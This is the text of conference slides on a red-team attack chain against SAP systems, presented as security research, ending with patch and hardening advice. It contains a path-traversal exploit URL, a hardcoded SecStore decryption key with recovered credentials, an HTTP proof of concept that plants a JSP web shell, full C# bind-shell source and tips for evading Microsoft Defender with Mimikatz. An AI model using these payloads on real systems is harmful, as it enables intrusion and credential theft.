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• Security researcher
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RedRays

R&D Center in Armenia to analyze the security of ERP 

Representative in the US

50 0-days discovered since 2021

SaaS Security Platform for SAP systems
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Agenda

1. A few words about SAP

2. Given challenge 

3. Vector of Attack #1
    * Vulnerability in SAP ME
    * Code injection in SAP MII
    * Privilege escalation in SAP Host Control
    * Bypass Microsoft Defender
    * Compromising SAP Cloud Connector

4. Vector of Attack #2
    * Analyzing missing configuration in SAP ABAP stack

5. Conclusion
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What is  SAP?!
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SAP
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Backstory of the research
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Challenge

Cloud 
environment

On-premises 
environment

Users 
environment

Jump from User environment to Cloud
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Challenge
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Jump from User environment to Cloud

https://blackhatmea.com/
https://www.facebook.com/Blackhatmea
https://www.instagram.com/blackhatmea/
https://www.linkedin.com/company/Blackhatmea/
https://twitter.com/Blackhatmea
https://www.youtube.com/channel/UCnBep_DEHvsk1HbyVwBz7xA


#BHMEA23 www.blackhatmea.com||

Goals

◆ Get admin user of SAP application

◆ Get admin user of SAP database

◆ Get access to read/write files from/on the SAP server

◆ Get access of code/command execution on the SAP server
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*Vulnerabilities

• CVE-2023-0012 Discovered by RedRays R&D

• CVE-2022-39802 Discovered by RedRays R&D

• MS Defender Bypass Discovered by RedRays R&D

• Decrypt SAP SSFS Discovered by RedRays R&D

• SAP Misconfigurations Discovered by RedRays

• PoC for CVE-2021-21480 has been reversed

All the screenshot below are from RedRays demo server
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Vector of attack #1
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Analyzing the scope

Cloud 
environment

On-premises 
environment

Users 
environment
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SAP Manufacturing Execution

Aerospace and defense
Automotive
Chemicals
Consumer products
Electronics
Food and beverage
High-tech manufacturing
Industrial machinery and 
components
Life sciences

Medical devices
Metals and mining
Oil and gas
Paper and packaging
Pharmaceuticals
Plastics
Textiles
Utilities
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CVE-2022-39802

C:\usr\sap\NW2\J00\j2ee\cluster\apps\sap.com\me~ear\servlet_jsp\
manufacturing\root\com\sap\me\production\client\vemodelio.jsp 
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CVE-2022-39802

http://IP/manufacturing/root/com/sap/me/production/client/vemodelio.jsp?FILE_PATH=file://C:\Windows\win.ini 
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Goals

◆ Get admin user of SAP application

◆ Get admin user of SAP database

✅ Get access to read/write files from/on the SAP server

◆ Get access of code/command execution on the SAP server
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Escalation of privileges #1
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SecStore

C:\usr\sap\NW2\SYS\global\security\data 
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SecStore Decryptor

SecStore.key

Hardcoded Key

 secret = [
0x2b, 0xb6, 0x8f, 0xfa, 
0x96, 0xec, 0xb6, 0x10,

  0x24, 0x47, 0x92, 0x65,
0x17, 0xb0, 0x9, 0xc4,
0x3e, 0xa, 0xd7, 0xbd

]

The real key

XOR
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SecStore Decryptor

SecStore.key

Hardcoded Key

 secret = [
0x2b, 0xb6, 0x8f, 0xfa, 
0x96, 0xec, 0xb6, 0x10,

  0x24, 0x47, 0x92, 0x65,
0x17, 0xb0, 0x9, 0xc4,
0x3e, 0xa, 0xd7, 0xbd

]

The real key

SecStore.properties

XOR SAP AS Java 
Admin Password3DES
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Decrypted SAP Secure Storage

SID -NW2- 

KeyPhrase -asdQWE123- 

jdbc/pool/NW2 -jdbc://Driver?ClassName=com.sybase.jdbc4.jdbc.SybDriver&
Url=jdbc:sybase:Tds:sapnwjava:4901/NW2\?ENABLE_FUNCTIONALITY_GROUP\=1&User=SAPSR3DB&Password=asdQWE123&- 

$internal/check -SAP Secure Store- 
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Goals

✅ Get admin user of SAP application

✅ Get admin user of SAP database

✅ Get access to read/write files from/on the SAP server

◆ Get access of code/command execution on the SAP server
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Escalation of privileges #2
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CVE-2021-21480
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Updated vs Outdated
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Tip and Trick

The SAP servers can execute JSP files with both .jsp and .JSP 
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PoC for code injection

POST /XMII/Catalog HTTP/1.1 
Host: %target_system%:50000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
Cookie: MYSAPSSO2=%COOKIE% 

content=SHELL_CODE_HERE&Mode=Save&ObjectName=./shell.jsp&JsCodeSeparation=false 
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PoC for code injection
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Goals

✅ Get admin user of SAP application

✅ Get admin user of SAP database

✅ Get access to read/write files from/on the SAP server

✅ Get access of code/command execution on the SAP server
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PoC for code injection

insufficient 
privileges
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Goals

✅ Get admin user of SAP application

✅ Get admin user of SAP database

✅ Get access to read/write files from/on the SAP server

✅ Get access of code/command execution on the SAP server

System User Access 
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Escalation of privileges #3

CVE-2023-0012
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CVE-2023-0012
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SAPHostExec
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Sapcimb.exe
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Shell.exe

using System.IO; 
using System.Net; 
using System.Net.Sockets; 

namespace shell 
{ 
 class Program 
  { 
   static void Main(string[] args) 
    { 

string ip = 0.0.0.0; 
int port = 4444; 
Socket socket = new Socket(AddressFamily.InterNetwork, 
SocketType.Stream, ProtocolType.Tcp); 
socket.Bind(new IPEndPoint(IPAddress.Parse(ip), port)); 
socket.Listen(1); 
Socket client = socket.Accept(); 

NetworkStream stream = new NetworkStream(client); 
StreamReader reader = new StreamReader(stream); 
StreamWriter writer = new StreamWriter(stream); 
writer.WriteLine(Connected to classic shell); 
writer.Flush(); 

while (true) 
{ 

string command = reader.ReadLine(); 
System.Diagnostics.Process process = new System.Diagnostics.Process(); 
System.Diagnostics.ProcessStartInfo startInfo = new 
System.Diagnostics.ProcessStartInfo(); 
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; 
startInfo.FileName = cmd.exe; 
startInfo.Arguments = /c  + command; 
process.StartInfo = startInfo; 
process.StartInfo.UseShellExecute = false; 
process.StartInfo.RedirectStandardOutput = true; 
process.StartInfo.RedirectStandardInput = true; 
process.StartInfo.RedirectStandardError = true; 
process.Start(); 
StreamReader outputReader = process.StandardOutput; 
string output = outputReader.ReadToEnd(); 
writer.WriteLine(output); 
writer.Flush(); 

   } 
  } 
 } 
}
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Rewrite
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Execution
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Execution
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Command Execution
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Goals

✅ Get admin user of SAP application

✅ Get admin user of SAP database

✅ Get access to read/write files from/on the SAP server

✅ Get access of code/command execution on the SAP server

System User Access 
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Horizontal escalation
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Prohibited actions

Defender

Transmit LSASS

• Transmit LSASS process memory to our workstation

• Turn off Microsoft Defender on the SAP server
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Necessary tools

Mimikatz

Alternative of Mimikatz in C#
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Tricks

• strings text – "s", "t", "r", "i", "n", "g", "s", " ", "t", "e", "x", "t"

• Replace common hardcoded strings 

• Remove unnesserary classes

• Unregistered file extension
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Bypass Microsoft Defender
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Analyzing the scope

Cloud 
environment

On-premises 
environment

Users 
environment
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PASSWORD REUSE
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SAP Cloud Connector

<?xml version='1.0' encoding='utf-8'?> 
<tomcat-users> 
<role rolename=admin/> 
<group groupname=initial/> 

<user username=Administrator password=F55A3364CEF0494342192745B31AF6D56F36DA8760670309ECA5F028ABE53C1F roles=admin/> 

</tomcat-users> 
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SAP SSFS
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SAP SSFS Records

CLOUD_CONN/JAVA_KEYSTORE_PASSWORD 
CLOUD_CONN/SCIM_SERVICE_USER_PASSWD 
CLOUD_CONN/LDAP_SERVICE_USER_PASSWORD 
CLOUD_CONN/PROXY_PASSWORD 

CLOUD_CONN/KERBEROS_KTAB 
CLOUD_CONN/SYSTEM_CERTIFICATE 
CLOUD_CONN/ALERT_EMAIL_SERVER_SECRET 
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SAP SSFS Decryption
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SAP SSFS Decryption

0000000000058130 T Java_com_sap_scc_jni_SecStoreAccess_getRecord
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SAP Cloud Connector Administrator
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Scheme for the vector of attack #1

Business 
applications

SAP Cloud

SAP Cloud Connector

SAP NetWeaver AS Java

Directory traversal

Code injection

SAPHostExec 
Escalation

Bypass MS 
Defender

Get OS user and 
Password reuse

Get admin 
user

Escalate 
privileges

Escalate 
to system

SAP 
Cloud 

Connect
or SSFS

Decrypt 
by 

getRecord

Access 
to

SAP Cloud 
Connector 
Application Manage 

connections

forward traffic to 
attacker host
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Vector of attack #2
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Analyzing the scope

Cloud 
environment

On-premises 
environment

Users 
environment
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What is an ABAP stack?

• ABAP - Advanced Business Application Programming

• ABAP is a programming language developed by SAP for creating and customizing business applications.
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Components of ABAP stack

• Application Server

• Database

• Development Environment
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Key components of SAP ABAP

• Users: People who interact with the SAP system

• Authorization Objects: Designed to manage access to certain parts of the system and control the actions that can be taken.

• Roles: Groups of permissions that define user actions within the system

• Functions and Programs: Designed to make business rules work in ABAP applications.

• Transactions: Set of instructions that you follow to complete certain tasks in SAP.
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What are transactions in SAP ABAP?

1. Payroll (HR/Payroll):
1. PA30: Maintain Employee Master Data.
2. PC00_M40_CEDT: Payroll Run and Tax Calculation.
3. PTMW: Enter Employee's Working Time.

2. Procurement:
1. ME21N: Create a Purchase Order.
2. ME51N: Create a Purchase Requisition.
3. ME2N: Display Purchase Orders.

3. Finance and Accounting:
1. FB01: Post Financial Document.
2. FBL3N: Display G/L Account Line Items.
3. F110: Payment Run.

1000+ transactions
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Critical transactions

• SM49 

• SM69

• DBACOCKPIT

• etc.
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Function and Program Execution

• SE37 - Function Modules

• SE38 – ABAP editor
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ABAP program

• RSBDCOS0

• RSNNUCXD
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Critical SAP Authorization Objects

• S_DEVELOP

• S_TRANSPRT 
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Analyzing the scope

Cloud 
environment

On-premises 
environment

Users 
environment
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Conclusion

• Install patches - #3242933, #3022622, #3276120

• Do not reuse OS login passwords

• S_DEVELOP

• S_TRANSPRT
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Thank you!

Vahagn Vardanyan https://www.linkedin.com/in/vahagnv/
Arpine Maghakyan https://www.linkedin.com/in/arpine-maghakyan/ 

https://redrays.io
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